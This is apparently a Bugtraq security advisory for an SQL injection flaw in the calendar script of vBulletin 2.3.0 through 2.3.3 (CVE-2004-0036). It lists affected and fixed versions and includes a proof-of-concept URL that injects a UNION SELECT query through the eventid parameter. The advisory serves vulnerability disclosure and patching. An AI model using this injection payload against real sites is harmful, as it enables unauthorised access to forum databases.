vBulletin Calendar Script SQL Injection Vulnerability

BID:9360

Info

vBulletin Calendar Script SQL Injection Vulnerability

Bugtraq ID: 9360
Class: Input Validation Error
CVE: CVE-2004-0036
Remote: Yes
Local: No
Published: Jan 05 2004 12:00AM
Updated: Jun 21 2006 08:55PM
Credit: Discovery is credit to mslug.
Vulnerable: VBulletin VBulletin 2.3.3
VBulletin VBulletin 2.3.2
VBulletin VBulletin 2.3 .0
Not Vulnerable: VBulletin VBulletin 2.3.4

Discussion

vBulletin Calendar Script SQL Injection Vulnerability

vBulletin is prone to an SQL-injection vulnerability. As a result, remote attackers may influence the logic and structure of database queries made by the software. Attackers could potentially exploit this issue to compromise the bulletin-board installation, access sensitive information from within the database, or even to launch attacks against the database implementation.

Exploit / POC

vBulletin Calendar Script SQL Injection Vulnerability

The following example was provided:

http://www.example.com/[software_installation_path]/calendar.php?s=&action=edit&eventid=14 union (SELECT
allowsmilies,public,userid,'0000-0-0',version(),userid FROM calendar_events
WHERE eventid = 14) order by eventdate

(Note that the underlying database must support the UNION command for this example to work.)

Solution / Fix

vBulletin Calendar Script SQL Injection Vulnerability

Solution:
Reportedly, vBulletin version 2.3.4 is not vulnerable to this issue. Users are advised to obtain the immune version from the vendor.


VBulletin VBulletin 2.3 .0

VBulletin VBulletin 2.3.2

VBulletin VBulletin 2.3.3

References

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